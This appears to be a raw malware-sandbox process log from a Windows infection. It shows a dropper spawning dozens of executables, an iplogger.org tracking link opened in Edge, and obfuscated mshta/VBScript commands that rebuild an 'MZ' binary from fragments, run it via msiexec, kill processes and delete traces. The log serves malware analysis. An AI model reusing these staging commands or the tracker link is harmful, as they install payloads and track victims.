C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1kYWa78⤵PID:5332
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb98647189⤵PID:3784
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone5⤵PID:3068
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0138d4026db6d813e.exeTue0138d4026db6d813e.exe /mixone6⤵
- Executes dropped EXE
PID:1096 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5680
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe5⤵PID:420
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018bc5c5a0a3d4.exeTue018bc5c5a0a3d4.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4664
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe5⤵PID:4120
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exeTue01e8898e0d1fce4.exe6⤵
- Executes dropped EXE
PID:3472
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe5⤵PID:3092
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bba8b80fa4.exeTue01bba8b80fa4.exe6⤵
- Executes dropped EXE
PID:5044 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 2807⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5664
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0195119235.exe5⤵PID:1596
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exeTue0195119235.exe6⤵
- Executes dropped EXE
PID:3276 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe"C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe" -u7⤵
- Executes dropped EXE
PID:5228
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe5⤵PID:820
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bf08f313b912.exeTue01bf08f313b912.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4588 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 13887⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2556
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe5⤵PID:3784
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exeTue01de2411919659f09.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4528 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exeC:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe7⤵
- Executes dropped EXE
PID:5188 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 1648⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5548
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0105f10596.exe5⤵PID:3284
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0105f10596.exeTue0105f10596.exe6⤵
- Executes dropped EXE
PID:3864 -
C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe"C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe"7⤵PID:4980
-
-
C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe"C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe"7⤵PID:1624
-
-
C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe"C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe"7⤵PID:6012
-
-
C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe"C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe"7⤵PID:4240
-
-
C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe"C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe"7⤵PID:4796
-
-
C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe"C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe"7⤵PID:4284
-
-
C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe"C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe"7⤵PID:6156
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵PID:6888
-
-
-
C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe"C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe"7⤵PID:6104
-
-
C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe"C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe"7⤵PID:3928
-
-
C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe"C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe"7⤵PID:4536
-
-
C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe"C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe"7⤵PID:1340
-
-
C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe"C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe"7⤵PID:3740
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe8⤵PID:6512
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe8⤵PID:6540
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"9⤵PID:6844
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe"C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe"7⤵PID:2852
-
-
C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe"C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe"7⤵PID:4012
-
-
C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe"C:\Users\Admin\Pictures\Adobe Films\w7yf21UqqNvJPFCCggjGhcyh.exe"7⤵PID:2196
-
-
C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe"C:\Users\Admin\Pictures\Adobe Films\E3vtKjE2P7mdqJy_5khbeSju.exe"7⤵PID:3152
-
-
C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe"C:\Users\Admin\Pictures\Adobe Films\XCC0oNWhnnJnJ5L5wJgJm2Fl.exe"7⤵PID:3396
-
-
C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe"C:\Users\Admin\Pictures\Adobe Films\5FY7s4pUdLRbZQQSDVKzcfjX.exe"7⤵PID:3780
-
-
C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe"C:\Users\Admin\Pictures\Adobe Films\QznaQlGCkgkDvylXYgLQ_tme.exe"7⤵PID:4444
-
-
C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe"C:\Users\Admin\Pictures\Adobe Films\qw3aNicOHEsxJ8W3fETs6D82.exe"7⤵PID:1332
-
-
C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe"C:\Users\Admin\Pictures\Adobe Films\csuphID3J_KRJjeH0Ny0Uig0.exe"7⤵PID:2868
-
-
C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe"C:\Users\Admin\Pictures\Adobe Films\LGGSAleYtUAp6v2mCtDZfJiF.exe"7⤵PID:6248
-
-
C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe"C:\Users\Admin\Pictures\Adobe Films\Xa7FiKEqOTSKImttuYGjJQkg.exe"7⤵PID:6312
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"8⤵PID:6880
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"8⤵PID:7128
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe"C:\Users\Admin\Pictures\Adobe Films\QQ_KfPPMR1yLn6WKZWMAg9hk.exe"7⤵PID:6304
-
-
C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe"C:\Users\Admin\Pictures\Adobe Films\iIFawnudlaKJBRwT_Y1kBHP7.exe"7⤵PID:6240
-
-
C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe"C:\Users\Admin\Pictures\Adobe Films\MsftLnvJ_pdzrH2zqjlWZMe0.exe"7⤵PID:6172
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6172 -s 3368⤵
- Program crash
PID:6580
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe5⤵PID:4224
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0121ab289cd9a.exeTue0121ab289cd9a.exe6⤵
- Executes dropped EXE
PID:4552
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 6525⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4408
-
-
-
-
-
C:\Windows\SysWOW64\chkdsk.exe"C:\Windows\SysWOW64\chkdsk.exe"2⤵
- Enumerates system info in registry
PID:1456 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"3⤵PID:4948
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1080 -ip 10801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1488
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If """" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )1⤵PID:2136
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "" == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe") do taskkill /f /IM "%~NXK"2⤵PID:5592
-
C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv3⤵
- Executes dropped EXE
PID:5912 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If ""/pzztRb0w26vFPLWe3xRyQv "" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )4⤵PID:3008
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r copY /Y "C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv &If "/pzztRb0w26vFPLWe3xRyQv " == "" for %K in ("C:\Users\Admin\AppData\Local\Temp\GhXkKMW.EXe") do taskkill /f /IM "%~NXK"5⤵PID:4696
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPT: cLose (creATeoBjECt ( "WscriPT.shELL" ).ruN ( "cmD.Exe /c eCHo | SeT /p = ""MZ"" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N + 6Gk1G.c4O + JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP & del /Q * ", 0 , True ) )4⤵PID:5196
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c eCHo | SeT /p = "MZ" > CejRuqC.56S & copY /Y /b CEJRUqC.56S +D5S9N.M + HOdVbD.N+ 6Gk1G.c4O +JN1iGT.j ..\32aZBXCS.EP& sTARt msiexec.exe -y ..\32AZBxCS.EP &del /Q *5⤵PID:5528
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHo "6⤵PID:3252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>CejRuqC.56S"6⤵PID:6064
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y ..\32AZBxCS.EP6⤵
- Loads dropped DLL
PID:3004
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /IM "Tue01e8898e0d1fce4.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6060
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5188 -ip 51881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5436
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4352 -ip 43521⤵PID:3952
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4588 -ip 45881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1920
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5044 -ip 50441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4656
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5128 -ip 51281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5400
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6128 -ip 61281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5856
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 79ccf3c8e6599f4eab4ffe7feca2e384 jsiBwPJJWEKOfdQkcoKoKQ.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:4548
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1096 -ip 10961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3424
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2296
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3952 -ip 39521⤵PID:4784
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5920 -ip 59201⤵PID:5884
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2488
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5568
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:452
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:5980
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5984 -ip 59841⤵PID:2744
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:512
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4828 -ip 48281⤵PID:2944
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1188 -ip 11881⤵PID:4916
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1356 -ip 13561⤵PID:3924
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 6172 -ip 61721⤵PID:6328